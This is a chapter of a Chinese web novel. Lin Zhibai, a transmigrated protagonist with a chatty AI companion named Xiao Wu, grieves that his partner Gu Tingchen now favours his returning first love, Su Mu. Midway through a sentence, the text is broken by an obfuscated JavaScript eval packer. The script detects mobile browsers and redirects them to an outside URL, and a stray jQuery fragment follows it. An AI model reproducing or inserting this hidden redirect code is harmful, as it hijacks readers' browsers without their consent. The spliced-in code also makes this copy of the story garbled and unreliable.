林知白握着酒杯的手，收紧了一点。
只是一点。然后他松开，把酒杯放到桌上，抬头看向对面的人，脸上是礼貌的笑容：“赵总，一个人？”
赵总愣了一下，然后哈哈大笑：“有意思，小林有意思。我问你一个人，你问我一个人，这对话可以绕地球一圈了。”
“赵总幽默。”
“不是幽默，是实话。”赵总往前探了探身子，压低声音，“我看你一个人在这儿坐着怪可怜的，过来陪你说说话。”
林知白垂眼，看着杯子里淡金色的液体：“谢谢赵总。”
“谢什么，咱们也算老相识了。”赵总靠在椅背上，翘起二郎腿，点了根烟，“那天饭局的事，你别往心里去。我喝多了，顾总也喝多了，都是误会。”
林知白没说话。
“不过说起来，顾总那人吧，有时候确实挺让人琢磨不透的。”赵总吐出一口烟圈，眯着眼睛看向宴会厅中央，“你看他现在，跟那个苏沐站一块儿，那叫一个春风得意。刚才我听人说，苏沐这次回来就不走了，顾总要给他开个工作室，投资上千万。”
林知白的手指轻轻摩挲着杯沿。
“十年了，总算等回来了。”赵总感慨似的摇摇头，“要我说，这才是真爱。那些中间的人嘛，也就是个过渡。”
他转过头，看着林知白，笑眯眯的：“小林，你说是不是？”
林知白抬起头，对上他的目光。
那双眼睛里没有愤怒，没有委屈，甚至没有波澜。只有一片平静，平静得像一潭死水。
“赵总说得对。”他说，嘴角弯起一个弧度，“过渡而已。”
赵总盯着他看了几秒，突然笑出声：“行，你行。我还以为你会哭呢。”
林知白端起酒杯，抿了一口。
香槟是冰的，顺着喉咙滑下去，凉意一直蔓延到胃里。
“宿主。”小污的声音响起，有点担心，“你还好吧？”
“挺好的。”
“赵总在挑拨离间诶！”
“我知道。”
“那你还笑？”
“不笑怎么办？”林知白在心里说，“哭给他看？”
小污沉默了两秒：“......本系统觉得你说得对。不过你的微表情显示，你刚才那个笑，比露台上那个还假。”
“你今天的吐槽额度用完了。”
“本系统没有额度限制。”
林知白没再理它。
宴会厅中央，顾霆琛和苏沐被一群人围着。苏沐不知说了什么，顾霆琛低头看他，嘴角带着林知白从未见过的温柔。
那种温柔，像冬天的阳光，像春天的风。
不是冷漠，不是疏离，不是“随便”。
是真的在看一个人。
林知白收回目光，把杯子里最后一口香槟喝完。
“小林。”赵总突然又开口，声音压得更低，“我有个事想跟你说。”
林知白看向他。
“顾总那边，你是不是待不下去了？”赵总弹了弹烟灰，“你要是想换个地方，我这儿随时欢迎。我那儿比顾总大方，真的。”
林知白愣了一下。
然后他笑了，这次是真的笑出声。
“赵总。”他说，语气很轻，“您这是要挖墙脚？”
“不是挖墙脚，是惜才。”赵总也笑，眯着眼睛，“你这么乖的，我喜欢。”
“乖？”
“对啊，不吵不闹，懂事。”赵总把烟按灭在烟灰缸里，“那天饭局你砸酒瓶跑了，我还以为你是个烈性的。现在看来，也就是一时冲动。”
林知白看着桌上那截熄灭的烟头，没说话。
“考虑考虑？”赵总站起来，从口袋里掏出一张名片，放在桌上推到他面前，“想好了给我电话。随时欢迎。”
他转身走了。
林知白盯着那张名片看了很久。金色的字，烫金的边，上面印着“赵建国”三个字，和一串电话号码。
“宿主，你不会真的考虑吧？”小污的声音有点急，“这人可是个油腻的中年大叔！而且上次还想占你便宜！”
“我知道。”
“那你盯着看干嘛？”
“我在想。”林知白拿起名片，翻过来看了看背面，又放下，“如果我跟他走了，顾霆琛会是什么反应。”
“什么反应？”
“可能......没反应吧。”林知白笑了笑，“正好把位置腾出来，给苏沐。”
他把名片推远了一点，站起身。
“走吧。”
“去哪儿？”
“回去了。”林知白整理了一下西装，“这儿太吵。”
他穿过人群，走向门口。经过宴会厅中央的时候，他听见苏沐的声音，温柔清冽：“霆琛，那个小朋友要走了，你不去送送？”
林知白的脚步顿了一下。
然后他听见顾霆琛的回答，很轻，很低：“他有司机。”
他有司机。
林知白继续往前走，没有回头。
走出酒店大门，夜风扑面而来。九月的夜晚已经有点凉了，他站在门口，看着门童去开车，突然不知道该去哪儿。
回那个别墅？
那个叫“家”的地方？
“宿主。”小污的声音响起，“你冷吗？”
“不冷。”
“那你为什么在抖？”
林知白低头看了看自己的手——确实在抖，很轻微，控制不住。
“可能是酒喝多了。”他说。
“你只喝了一杯香槟。”
“一杯也能醉。”
车子开过来，门童拉开车门。林知白坐进去，报了地址。车子启动，驶入夜色。
车窗外的霓虹灯一盏接一盏掠过，红的绿的黄的，在他脸上投下斑驳的光影。他靠在座椅上，闭上眼睛。
手机震动了一下。
他睁开眼，点开消息。
顾霆琛：【先回去，晚点回】
林知白盯着这五个字看了很久。
先回去。
晚点回。
他打了几个字，删掉，又打了几个字，又删掉。最后只回了一个字：
【好】
发完他把手机调成静音，塞进口袋里。
“宿主。”小污的声音幽幽响起，“你知道他为什么要发这条消息吗？”
“不知道。”
“因为他觉得应该给你一个交代。但这种‘交代’，其实是另一种残忍。”
林知白没说话。
“他发消息的时候，苏沐就站在旁边。他看着苏沐，想着应该给你发条消息，然后发了，发完继续陪苏沐。”小污的声音难得认真，“他以为这样是负责，其实这样最伤人。”
车子驶过一条条街道，穿过一个个路口。
林知白一直闭着眼睛。
“小污。”
“嗯？”
“你说，一个人可以同时喜欢两个人吗？”
小污沉默了几秒：“本系统的数据库显示，可以。但那不是喜欢，是贪婪。”
“贪婪......”
“既要白月光的完美，又要替身的温度。两个都想要，两个都不想放手。”
车子停在别墅门口。
林知白下车，看着眼前这栋灯火通明的房子——门口亮着灯，客厅亮着灯，连花园的小路上都亮着灯。
有人来过？
他推开门，走进去。
客厅里空无一人，但茶几上放着一个保温桶，旁边压着一张纸条。
阿姨的字迹：【小林，炖了你爱喝的汤，在保温桶里，晚上饿了喝。顾先生说明天回来，你自己照顾好自己。——阿姨】
林知白站在客厅里，看着那个保温桶，看着那张纸条，看着满屋子的灯。
灯都开着。
亮得刺眼。
他走过去，拧开保温桶的盖子。热气冒出来，是鸡汤的香味。他盛了一碗，坐在餐桌前，拿起勺子。
喝了一口。
又喝了一口。
“宿主。”小污的声音很轻，“你哭了。”
林知白抬起手，摸了摸自己的脸。
湿的。
他愣了一下，然后继续喝汤，一口接一口。
眼泪掉进碗里，溅起小小的涟漪。他没有擦，只是继续喝，把整碗汤喝完，又盛了一碗。
“我没哭。”他说，声音有点哑，“汤太烫了。”
“汤已经凉了。”
林知白看着碗里的汤，没说话。
窗外传来隐隐的雷声。
要下雨了。
他站起来，把碗洗了，把保温桶盖好，上楼，走进卧室。他没有开灯，只是站在窗前，看着外面的夜空。
闪电划过，照亮了远处的天际。
然后雨落下来了。
一开始是几滴，打在玻璃上，发出轻微的响声。然后越来越大，越来越密，最后变成倾盆大雨，哗哗地冲刷着整个世界。
林知白站在窗前，看着雨水顺着玻璃往下流，一道一道，像眼泪。
手机在口袋里震动了一下。
他拿出来看。
顾霆琛：【下雨了，窗户关好】
林知白看着这条消息，看着那个熟悉的名字。
他抬起头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432108|200930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着窗外的大雨。
然后他笑了，笑得很轻，笑得眼泪又流出来。
“宿主，你笑什么？”
“我在想。”他说，声音很轻，被窗外的雨声淹没，“他发这条消息的时候，是在想我，还是在想他自己——觉得应该发这条消息？”
小污没有回答。
手机又震动了一下。
顾霆琛：【明天回去，有事说】
林知白看着屏幕。
有事说。
说什么？说“你走吧”？说“苏沐回来了”？说“谢谢你的陪伴，现在你可以退场了”？
他打了几个字，删掉，又打了几个字，又删掉。
最后他打了三个字：
【知道了】
发完，他把手机关机，放在床头柜上。
窗外的雨越下越大。
林知白躺在床上，看着天花板。灯没有开，只有窗外的闪电偶尔照亮房间。
“宿主。”
“嗯？”
“你希望他说什么？”
林知白沉默了很久。
久到小污以为他不会回答了。
然后他听见宿主的声音，很轻，轻得像一片落叶：
“我希望他说......让我走。”
小污愣住了。
“我希望他亲口说，让我走。”林知白的声音继续，平静得像在说别人的故事，“这样我就可以死心了。这样我就可以告诉自己，不是我不够好，是他不要我了。”
闪电划过，照亮了他的脸。
他睁着眼睛，看着天花板，眼泪顺着眼角滑落，没入枕头里。
“可是他不说。”他说，“他不说让我走，也不说让我留。他就这么吊着我，让我等着，让我猜着，让我......自作多情。”
“宿主......”
“你知道吗，小污。”他笑了笑，“最可怕的不是被抛弃。最可怕的是，你明明已经被抛弃了，他还要装作没有抛弃你。让你站在原地等，等一个永远不会回来的人。”
雨声哗哗。
很久很久之后，小污的声音再次响起：
“宿主，本系统有个提议。”
“嗯？”
“咱们快点完成任务，快点离开这里吧。”
林知白没说话。
“这个世界不好玩，咱们去下一个。下一个不好玩，再去下一个。总有一个世界，是好的。总有一个世界，你是被爱的。”
林知白闭上眼睛。
“会有吗？”
“本系统不知道。”小污的声音很轻，“但本系统希望有。”
窗外，雨渐渐小了。
不知道过了多久，林知白终于睡着了。
梦里，他站在一个很大的雾里，什么都看不清。他往前走，一直往前走，然后看见一个人影。
是顾霆琛。
他站在那里，伸出手。
林知白想走过去，但怎么走都走不到。他越走越急，越走越快，最后跑起来。
可那个人影越来越远，越来越淡。
最后消失在雾里。
林知白醒来的时候，天已经亮了。
阳光从窗户照进来，在地板上投下金色的光影。
床头柜上，手机静静地躺在那里。
他拿起来，开机。
有一条新消息，来自顾霆琛，发送时间是凌晨三点十七分：
【我回来了。】
林知白盯着这四个字。
我回来了。
不是“我到家了”，不是“你在吗”，是“我回来了”。
好像这里是他的家。
好像他在对谁报平安。
好像......这个“回来”，和他没什么关系。
林知白放下手机，看向窗外。
阳光很好，好得刺眼。
雨后的天空格外蓝，蓝得像假的。
他听见楼下传来动静，门开了，脚步声，有人上楼了。
脚步声越来越近，停在卧室门口。
敲门声。
“林知白？”
是顾霆琛的声音。
林知白看着那扇门，没有说话。
门把手转动了一下。
门开了。
顾霆琛站在门口，头发微微有些湿，像是刚从外面回来。他看着坐在床上的林知白，眼神复杂。
“昨晚睡得好吗？”
林知白看着他，没有说话。
顾霆琛走进来，在床边坐下。
“我有事跟你说。”
林知白的手指微微收紧。
他终于要说了吗？